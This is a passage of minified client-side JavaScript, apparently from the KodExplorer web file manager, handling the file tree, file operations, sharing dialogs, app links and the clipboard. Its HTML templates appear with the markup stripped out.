o="",s="",r=a[0];(r.father||r.thisPath)&&(o=r.father+urlEncode(r.name),s=i.father+urlEncode(i.name),n.cuteDrag([{path:o,type:r.type}],s,function(){h(r)}))}}},f=function(e){if(a){var t=a.getSelectedNodes()[0],i="";return t?(i=t.type,("_null_"==i||void 0==i)&&(i="folder"),"file"==i&&(i=t.ext),e?[{path:t.path,type:i,node:t}]:{path:t.path,type:i,node:t}):{path:"",type:""}}},h=function(e){return e||(e=a.getSelectedNodes()[0]),e.isParent||(e=e.getParentNode())?(a.reAsyncChildNodes(e,"refresh"),void 0):(ui.tree.init(),void 0)},m=function(){g(G.KOD_USER_FAV),b()},v=function(){m(),g(G.KOD_GROUP_ROOT_SELF),g(G.KOD_GROUP_ROOT_ALL)},g=function(e){var t=a.getNodesByParam("path",e,null);h(t[0])},b=function(){core.isApp("explorer")&&ui.f5()};return{makeParam:f,treeOpenHistory:l,treeDataSort:r,init:c,refresh:h,refreshPath:g,refreshFav:m,refreshGroup:v,zTree:function(){return a},openEditor:function(){kodApp.open(f().path)},openWindow:function(){kodApp.openWindow(f().path)},share:function(){i.share(f())},download:function(){"folder"==f().type?i.zipDownload(f(!0)):kodApp.download(f().path)},setSelect:function(e){return},open:function(){if(!($(".dialog-path-remove").length>=1)){var e=f();"oexe"==e.type&&(e.path=e.node),kodApp.setLastOpenTarget($(".curSelectedNode").parent()),kodApp.open(e.path,e.type)}},fav:function(){var e=f();e.name=e.node.name,e.node="null",i.fav(e)},createLink:function(e){var t=f();i.createLink(t.path,t.node.name,t.type,e,b)},search:function(){o("",f().path)},appEdit:function(){var e=f(),t=e.node;t.path=e.path,i.appEdit(t,function(){h(e.node.getParentNode())})},info:function(){i.info(f(!0))},copy:function(){n.copy(f(!0))},cute:function(){n.cute(f(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){n.copyDrag(f(!0),e,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){n.cuteDrag(f(!0),e,function(){g()})})},past:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),n.past(e.path,function(){b(),h(e.node)})},clone:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),n.copyDrag(f(!0),core.pathFather(e.path),function(){b(),"folder"==e.type?h(e.node.getParentNode()):h(e.node)},!0)},favRemove:function(){i.favRemove(f().node.name,function(e){Tips.tips(e),m()})},remove:function(){var e=f(!0),t=e[0].node.getParentNode();e[0].type=e[0].node.type,e[0].type="folder"==e[0].type?"folder":"file",i.remove(e,function(){b(),h(t)})},checkIfChange:function(e){s||(s=!0,a&&(a.getNodesByFilter(function(t){var a=t.path;return"folder"==t.type&&core.pathClear(a)==core.pathClear(e)&&h(t),!1},!0),setTimeout(function(){s=!1},500)))},explorer:function(){var e=a.getSelectedNodes();if(0>=e.length){var t=a.getNodes();a.selectNode(t[0])}var i=f().path;"folder"!=f().type&&(i=core.pathFather(i)),core.explorer(i)},openProject:function(){core.explorerCode(f().path)},create:function(e){var i=a.getSelectedNodes();if(0>=i.length){var n=a.getNodes();a.selectNode(n[0])}else"file"==i[0].type&&a.selectNode(i[0].getParentNode());var o=f(),s=o.node,r=s.getParentNode(),l="newfile",c=0,d=LNG.newfolder;if("folder"==e){for(;a.getNodesByParam("name",d+"("+c+")",r).length>0;)c++;newNode={name:d+"("+c+")",ext:"",type:"folder",create:!0,path:o.path}}else{for(var p=e;a.getNodesByParam("name",l+"("+c+")."+p,r).length>0;)c++;newNode={name:l+"("+c+")."+p,ext:p,type:"file",create:!0,path:o.path}}if(void 0!=s.children){var u=a.addNodes(s,newNode)[0];a.editName(u)}else"folder"!=s.type&&(s=s.getParentNode()),t=function(){var e=a.addNodes(s,newNode)[0];a.editName(e)},s.isParent?a.expandNode(s):t()},showFile:function(){var e=G.appHost+"share/file&sid="+G.sid+"&user="+G.user+"&path="+f().path;window.open(e)},rname:function(){var e=a.getSelectedNodes()[0];a.editName(e),e.beforeName=e.name}}}),define("app/path/pathOperate",[],function(e){tplFileInfo=e("./tpl/fileinfo/fileInfo.html"),tplPathInfo=e("./tpl/fileinfo/pathInfo.html");var t=["/","\\",":","*","?",'"',"<",">","|"],a=["/","\\"],i=function(e){var i=function(e,t){for(var a=t.length,i=0;a>i;i++)if(e.indexOf(t[i])>0)return!0;return!1},n=a;return G.systemOS&&"windows"==G.systemOS&&(n=t),i(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var t=[],a=function(e){return e?e.replace(/"/g,'\\\\"'):e},i=0;e.length>i;i++)t.push({type:a(e[i].type),path:urlEncode(a(e[i].path))});return"dataArr="+jsonEncode(t)},o=function(e,t){if(e){var a=core.pathThis(e);return i(a)?($.ajax({dataType:"json",url:G.appHost+"explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&(e&&e.info?t(e.info):t(!1))}}),void 0):("function"==typeof t&&t(),void 0)}},s=function(e,t){if(e){var a=core.pathThis(e);return i(a)?($.ajax({dataType:"json",url:G.appHost+"explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&(e&&e.info?t(e.info):t(!1))}}),void 0):("function"==typeof t&&t(),void 0)}},r=function(e,t,a){return e&&t&&e!=t?i(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:G.appHost+"explorer/pathRname",data:"path="+urlEncode(e)+"&rnameTo="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof a&&(e&&e.info?a(e.info):a(!1))}}),void 0):("function"==typeof a&&a(),void 0):void 0},l=function(e,t,a,i){if(a=void 0==a?!1:a,i=void 0==i?!1:i,window.event&&window.event.shiftKey&&(i=!0),!(1>e.length)){var o=LNG.remove_title,s=LNG.remove_info,r=G.appHost+"explorer/pathDelete",l=n(e);if("share"==e[0].type&&(o=LNG.share_remove,s=LNG.share_remove_tips,r=G.appHost+"userShare/del"),i&&(s=LNG.remove_info_force,o=LNG.remove_title_force,r+="&shiftDelete=1"),("recycle-clear"==e[0].type||G.USER_RECYCLE&&G.thisPath==G.USER_RECYCLE||G.thisPath==core.pathFather(G.myhome)+"recycle_kod/")&&(s=LNG.recycle_clear_info,r=G.appHost+"explorer/pathDeleteRecycle",o=LNG.recycle_clear,"recycle-clear"==e[0].type&&(l="postEmpty=1")),e[0]&&e[0].path){var c=""+htmlEncode(core.pathThis(e[0].path))+"";s=e.length>1?c+' ... '+e.length+LNG.remove_item+"
          "+s:c+"
          "+s}var d=function(){$.ajax({url:r,type:"POST",dataType:"json",data:l,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(a){if(Tips.close(a),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.selfShare=a.info;var i=$.dialog.list["share-dialog"];void 0!=i&&i.close()}o==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(a)}})};a?d():$.dialog({id:"dialog-path-remove",fixed:!0,icon:"question",title:o,padding:"40px 40px",lock:!0,background:"#000",opacity:.1,content:"
          "+s+"
          ",ok:d,cancel:!0})}},c=function(e){if(core.authCheck("explorer.fileDownload",!0)&&!(1>e.length)){var t=G.appHost+"explorer/zipDownload";G.sharePage!==void 0&&(t=G.appHost+"share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t=G.appHost+"explorer/fileDownloadRemove&path="+urlEncode(e.info);t+="&accessToken="+G.accessToken,G.sharePage!==void 0&&(t=G.appHost+"share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},d=function(e,t,a){1>e.length||(a||(a="zip"),$.ajax({url:G.appHost+"explorer/zip&fileType="+a,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},p=function(e,t,a){if(e){var i=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},n=G.appHost+"explorer/unzip&path="+urlEncode(e);"toThis"==a&&(n+="&toThis=1"),"toFolder"==a?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&pathTo="+e,i(n)}):i(n)}},u=function(e){var t=e.path,a=core.pathPre(t);if(a==G.KOD_GROUP_PATH||a==G.KOD_GROUP_SHARE||a==G.KOD_USER_SHARE)return Tips.tips(LNG.path_can_not_share,"warning"),void 0;var i="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare.set",!0)&&$.ajax({url:G.appHost+"userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)f(e.data);else{G.selfShare=e.info;var a={path:t,type:i,name:core.pathThis(t)};h(a,function(e){e.code?(G.selfShare=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content-info input[name=type]").val(i),$(".content-info input[name=path]").val(t),$(".content-info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==i&&($(".label-code-read").addClass("hidden"),$(".label-can-upload").addClass("hidden"))}))})}}})},f=function(t,a){0!=$(".share-dialog").length&&$(".share-dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(t),void 0!=a&&a()})},h=function(e,t){$.ajax({url:G.appHost+"userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share-create-button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share-create-button").removeClass("disabled"),void 0!=t&&t(e)}})},m=function(t){var a=e("./tpl/share.html"),i=template.compile(a),n=i({LNG:LNG});$.dialog({id:"share-dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share-time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share-time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share-setting-more").addClass("hidden"),void 0==e)$(".share-has-url").addClass("hidden"),$(".share-action .share-remove-button").addClass("hidden"),$(".content-info input[name=sid]").val(""),$(".content-info input[name=type]").val(""),$(".content-info input[name=name]").val(""),$(".content-info input[name=showName]").val(""),$(".content-info input[name=path]").val(""),$(".content-info input[name=timeTo]").val(""),$(".content-info input[name=sharePassword]").val(""),$(".share-view-info").addClass("hidden");else{e.canUpload===void 0&&(e.canUpload=""),t=e,e.showName||(e.showName=e.name),$(".content-info input[name=sid]").val(e.sid),$(".content-info input[name=type]").val(e.type),$(".content-info input[name=name]").val(e.name),$(".content-info input[name=showName]").val(e.showName),$(".content-info input[name=path]").val(e.path),$(".content-info input[name=timeTo]").val(e.timeTo),$(".content-info input[name=sharePassword]").val(e.sharePassword),$(".share-view-info").removeClass("hidden"),e.numDownload===void 0&&(e.numDownload=0),e.numView===void 0&&(e.numView=0);var a=LNG.share_view_num+e.numView+" "+LNG.share_download_num+e.numDownload;$(".share-view-info").html(a),"1"==e.codeRead?$(".content-info input[name=codeRead]").attr("checked","checked"):$(".content-info input[name=codeRead]").removeAttr("checked"),"1"==e.notDownload?$(".content-info input[name=notDownload]").attr("checked","checked"):$(".content-info input[name=notDownload]").removeAttr("checked"),"1"==e.canUpload?$(".content-info input[name=canUpload]").attr("checked","checked"):$(".content-info input[name=canUpload]").removeAttr("checked"),$(".share-has-url").removeClass("hidden"),"file"==e.type?($(".label-code-read").addClass("hidden"),$(".label-can-upload").addClass("hidden")):($(".label-code-read").removeClass("hidden"),$(".label-can-upload").removeClass("hidden"));var i=e.type;"folder"==e.type&&(i=1==e.codeRead?"codeRead":"folder");var n=G.appHost+"share/"+i+"&user="+G.userID+"&sid="+e.sid;$(".content-info .share-url").val(n),(e.timeTo||e.sharePassword||e.canUpload||e.codeRead||e.notDownload)&&$(".share-setting-more").removeClass("hidden"),$(".share-remove-button").removeClass("hidden"),$(".share-create-button").text(LNG.share_save)}},r=function(){$(".share-action .share-remove-button").unbind("click").click(function(){l([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content-info .share-more").unbind("click").click(function(){$(".share-setting-more").toggleClass("hidden")}),$(".share-action .share-create-button").unbind("click").click(function(){var e="";$(".share-dialog .content-info input[name]").each(function(){var t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.selfShare=e.info,ui.f5(),s(e.data),$(".share-create-button").text(LNG.share_save)):Tips.tips(e)})}),$(".content-info .open-window").unbind("click").bind("click",function(){window.open($("input.share-url").val())}),$(".content-info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share-url").val())});var e=$("input.share-url"),a=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var i=a.createTextRange();i.moveEnd("character",-a.value.length),i.moveEnd("character",t),i.moveStart("character",0),i.select()}else a.setSelectionRange(0,t)})};s(t),r()},v=function(e){$.ajax({url:G.appHost+"setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},g=function(e,t,a,i,n){if(!(1>e.length)){var o,s=G.myDesktop;i&&(s=core.pathFather(e)),o="folder"==a?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=a),$.ajax({url:G.appHost+"explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},b=function(e,t){if(!(1>e.length)){var a=core.pathThis(e),i=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(i+a+"_project.oexe");$.ajax({url:G.appHost+"explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},y=function(e,t,a){if(e){var i=G.appHost+"explorer/imageRotate&rotate="+t+"&path="+urlEncode(e); -$.ajax({url:i,beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){return e?(Tips.close(e),e.code&&"function"==typeof a&&a(e),void 0):(Tips.close(LNG.php_env_error_gd,!1),void 0)}})}},k=function(t){var a={};a.fileInfo=e("./tpl/fileinfo/fileInfo.html"),a.pathInfo=e("./tpl/fileinfo/pathInfo.html"),a.pathInfoMore=e("./tpl/fileinfo/pathInfoMore.html"),1>t.length&&(t=[{path:G.thisPath,type:"folder"}]);var i="info";1==t.length&&(i="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="pathInfoMore",o=LNG.info;1==t.length&&(n="folder"==t[0].type?"pathInfo":"fileInfo",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(a[n]),r=UUID();e.data.is_root=G.isRoot,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.sizeFriendly=pathTools.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(i),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui-outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),x(r,t)})},x=function(e,t){var a=$("."+e);a.find(".open-window").bind("click",function(){window.open(a.find("input.download-url").val())}),a.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(a.find("input.download-url").val(),a.find(".qrcode").get(0))});var i=a.find(".file-md5-loading");if(1==i.length){var o=n(t);o+="&getMd5=1",core.fileInfo(o,function(e){i.removeClass("file-md5-loading"),e.code?i.html(e.data.fileMd5):i.html(LNG.error)})}var s=a.find("input.download-url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var t=r.createTextRange();t.moveEnd("character",-r.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else r.setSelectionRange(0,e)}),a.find(".edit-chmod").click(function(){var e=$(this).parent().find("input"),a=$(this);$.ajax({url:G.appHost+"explorer/pathChmod&mod="+e.val(),type:"POST",data:n(t),beforeSend:function(){a.text(LNG.loading)},error:function(){a.text(LNG.button_save)},success:function(e){a.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){a.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e,t,a){var i=function(){$.ajax({url:G.appHost+"fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return a?(i(),void 0):($.dialog({id:"dialog-fav-remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:i,cancel:!0}),void 0)},_=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}"/"==e.path&&(e.name="Home"),$.ajax({url:G.appHost+"fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&!core.isApp("desktop")&&ui.tree.refreshFav()}})}},L=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},N=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app-edit-select-icon").unbind("click").bind("click",function(){var t=G.basicPath+"static/images/file_icon/icon_app/";G.isRoot||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app-edit-select-icon-input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},C=function(t,a,i){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/appEdit.html"),d=template.compile(c);switch(void 0==i&&(i="userEdit"),"rootEdit"==i&&(t=t),"userEdit"==i||"rootEdit"==i?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t,appType:G.settings.appType})):s=d({LNG:LNG,uuid:l,data:{},appType:G.settings.appType}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(L(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=L(n);switch(i){case"userAdd":var s=urlEncode(G.thisPath+e.name);o=G.appHost+"app/userApp&action=add&path="+s;break;case"userEdit":o=G.appHost+"app/userApp&path="+urlEncode(t.path);break;case"rootAdd":o=G.appHost+"app/add&name="+urlEncode(e.name);break;case"rootEdit":o=G.appHost+"app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("rootEdit"==i||"rootAdd"==i){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof a?a():ui.f5()}})}}]}),n=$("."+l),G.isRoot||$(".appbox .appline .right a.open").remove(),t.group&&n.find("option").eq(t.group).attr("selected",1),n.find(".aui-content").css("overflow","inherit"),i){case"userEdit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+t.group+"]").attr("checked",!0),"url"!=t.type&&n.find(".appline[data-type=url]").addClass("hidden");break;case"userAdd":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"rootAdd":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"rootEdit":n.find("option[value="+t.group+"]").attr("selected",!0),"url"!=t.type&&n.find(".appline[data-type=url]").addClass("hidden");break;default:}N(n)},T=function(){core.appStore()},S=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:G.appHost+"app/getUrlTitle&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var a=t.data;a=a.replace(/[\/\\]/g,"_"),Tips.close(t);var i={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:a,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.thisPath+a);e=G.appHost+"app/userApp&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(i))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{makeJson:n,appEdit:C,appList:T,appAddURL:S,share:u,shareBox:f,setBackground:v,createLink:g,createProject:b,imageRotate:y,newFile:o,newFolder:s,rname:r,zipDownload:c,zip:d,unZip:p,info:k,remove:l,fav:_,favRemove:w}}),define("app/path/tpl/fileinfo/fileInfo.html",[],"
          \n {{if downloadPath}}\n
          \n
          {{LNG.download_address}}:
          \n
          \n \n
          \n \n \n
          \n
          \n
          \n
          \n
          \n {{/if}}\n\n
          \n
          {{LNG.address}}:
          \n
          {{path |kod.window.htmlEncode}}
          \n
          \n
          \n
          \n
          {{LNG.size}}:
          \n
          {{sizeFriendly}} ({{size.toLocaleString()}} Byte)
          \n
          \n
          \n\n {{if fileMd5}}\n
          \n
          MD5:
          \n
          {{fileMd5}}
          \n
          \n
          \n {{/if}}\n\n {{if imageSize}}\n
          \n
          {{LNG.image_size}}:
          \n
          {{imageSize.width}} × {{imageSize.height}}
          \n
          \n
          \n {{/if}}\n\n
          \n\n {{if ctime}}\n
          \n
          {{LNG.create_time}}
          \n
          {{ctime}}
          \n
          \n
          \n {{/if}}\n\n {{if mtime}}\n
          \n
          {{LNG.modify_time}}
          \n
          {{mtime}}
          \n
          \n
          \n {{/if}}\n\n {{if atime}}\n
          \n
          {{LNG.last_time}}
          \n
          {{atime}}
          \n
          \n
          \n {{/if}}\n\n {{if owner}}\n
          \n
          {{LNG.file_info_owner}}
          \n
          {{owner}}
          \n
          \n
          \n {{/if}}\n\n {{if group}}\n
          \n
          {{LNG.file_info_group}}
          \n
          {{group}}
          \n
          \n
          \n {{/if}}\n \n {{if mode}}\n
          \n
          \n
          {{LNG.permission}}:
          \n
          {{mode}}
          \n
          \n
          \n {{if is_root==\"1\"}}\n
          \n
          {{LNG.permission_edit}}:
          \n
          \n
          \n
          \n
          \n {{/if}}\n {{/if}}\n
          \n"),define("app/path/tpl/fileinfo/pathInfo.html",[],"
          \n
          \n
          {{LNG.address}}:
          \n
          {{path |kod.window.htmlEncode}}
          \n
          \n
          \n
          \n
          {{LNG.size}}:
          \n
          {{sizeFriendly}} ({{size.toLocaleString()}} Byte)
          \n
          \n
          \n
          \n
          {{LNG.contain}}:
          \n
          {{fileCount}} {{LNG.file}},{{folderCount}} {{LNG.folder}}
          \n
          \n
          \n \n
          \n {{if ctime}}\n
          \n
          {{LNG.create_time}}
          \n
          {{ctime}}
          \n
          \n
          \n {{/if}}\n\n {{if mtime}}\n
          \n
          {{LNG.modify_time}}
          \n
          {{mtime}}
          \n
          \n
          \n {{/if}}\n\n {{if atime}}\n
          \n
          {{LNG.last_time}}
          \n
          {{atime}}
          \n
          \n
          \n {{/if}}\n\n {{if owner}}\n
          \n
          {{LNG.file_info_owner}}
          \n
          {{owner}}
          \n
          \n
          \n {{/if}}\n\n {{if group}}\n
          \n
          {{LNG.file_info_group}}
          \n
          {{group}}
          \n
          \n
          \n {{/if}}\n\n {{if mode}}\n
          \n
          \n
          {{LNG.permission}}:
          \n
          {{mode}}
          \n
          \n
          \n {{if is_root==\"1\"}}\n
          \n
          {{LNG.permission_edit}}:
          \n
          \n
          \n
          \n
          \n {{/if}}\n {{/if}}\n
          \n"),define("app/path/tpl/share.html",[],'
          \n
          \n
          {{LNG.share_title}}
          \n \n
          \n
          \n
          \n {{LNG.share_path}}:\n \n
          \n
          \n
          \n {{LNG.share_name}}:\n \n \n \n \n \n
          \n
          \n\n \n\n \n
          \n \n
          '),define("app/path/tpl/fileinfo/pathInfoMore.html",[],"
          \n
          \n
          {{LNG.info}}:
          \n
          \n {{fileCount}} {{LNG.file}},{{folderCount}} {{LNG.folder}}
          \n
          \n
          \n
          \n
          \n
          {{LNG.size}}:
          \n
          {{sizeFriendly}} ({{size.toLocaleString()}} Byte)
          \n
          \n
          \n \n
          \n
          \n
          {{LNG.permission}}:
          \n
          {{mode}}
          \n
          \n
          \n {{if is_root==\"1\"}}\n
          \n
          {{LNG.permission_edit}}:
          \n
          \n
          \n
          \n
          \n {{/if}}\n
          \n"),define("app/path/tpl/appEdit.html",[],"
          \n
          \n
          {{LNG.name}}
          \n
          \n
          \n
          \n
          \n
          {{LNG.app_desc}}
          \n
          \n
          \n
          \n
          \n
          {{LNG.app_icon}}
          \n
          \n \n
          \n
          \n
          \n
          \n
          {{LNG.app_group}}
          \n
          \n \n
          \n
          \n
          \n
          \n
          {{LNG.app_type}}
          \n
          \n \n \n \n \n \n \n
          \n
          \n
          \n\n
          \n
          {{LNG.app_display}}
          \n
          \n \n \n \n \n
          \n
          \n
          \n
          \n
          {{LNG.app_size}}
          \n
          \n ({{LNG.width}})  \n ({{LNG.height}})\n\n \n \n
          \n
          \n
          \n
          \n \n \n
          {{LNG.app_url}}
          \n
          \n
          \n
          \n
          \n"),define("app/path/clipboard",[],function(){var e=function(e){return ui.path.pathOperate.makeJson(e)},t=function(t){1>t.length||$.ajax({url:G.appHost+"explorer/pathCopy",type:"POST",dataType:"json",data:e(t),error:core.ajaxError,success:function(e){Tips.tips(e)}})},a=function(t){1>t.length||$.ajax({url:G.appHost+"explorer/pathCute",type:"POST",dataType:"json",data:e(t),error:core.ajaxError,success:function(e){Tips.tips(e)}})},i=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var a=G.appHost+"explorer/pathPast&path="+urlEncode(e);$.ajax({url:a,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},n=function(t,a,i){a&&$.ajax({url:G.appHost+"explorer/pathCuteDrag",type:"POST",dataType:"json",data:e(t)+"&path="+urlEncode(a+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},o=function(t,a,i,n){a&&(void 0==n&&(n=0),$.ajax({url:G.appHost+"explorer/pathCopyDrag",type:"POST",dataType:"json",data:e(t)+"&path="+urlEncode(a+"/")+"&filename_auto="+Number(n),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},s=function(e,t){var a="style='height:150px;border-left: 3px solid #def;overflow:auto;margin:20px;background: #f0f8ff;padding:20px;width:300px'",i="
          "+LNG.clipboard_null+"
          ";if(0!=e.length){i="
          "+LNG.clipboard_state+LNG[t]+"
          ";for(var n=40,o=0;e.length>o;o++){var s=e[o],r=s.path;r=n>r.length?r:"..."+r.substr(-n),i+="
          "+s.type+": "+r+""}i+='
          "}return i},r=function(){$.ajax({url:G.appHost+"explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(e){e.code&&($.dialog({id:"dialog-clipboard",title:LNG.clipboard,width:400,content:s(e.data,e.info)}),$(".clipboard-clear").one("click",function(){Tips.tips(LNG.success),$.get(G.appHost+"explorer/clipboard&clear=ok"),$.dialog.list["dialog-clipboard"].close()}))}})},l=function(){var e=function(){var e=G.appHost+"explorer/fileUpload";return"share"==G.sharePage&&"1"==G.shareInfo.canUpload&&(e=G.appHost+"share/fileUpload&user="+G.user+"&sid="+G.sid),e},t=function(e){var t=e.originalEvent;if(t.clipboardData&&t.clipboardData.items){var i=Array.prototype.filter.call(t.clipboardData.items,function(e){return e.type.indexOf("image")>=0});Array.prototype.forEach.call(i,function(e){var t=new FileReader;t.onloadend=function(){a(this.result)},t.readAsDataURL(e.getAsFile())})}},a=function(t){if(!core.uploadCheck("explorer.serverDownload"))return!1;t=t.replace("data:image/png;base64,","");var 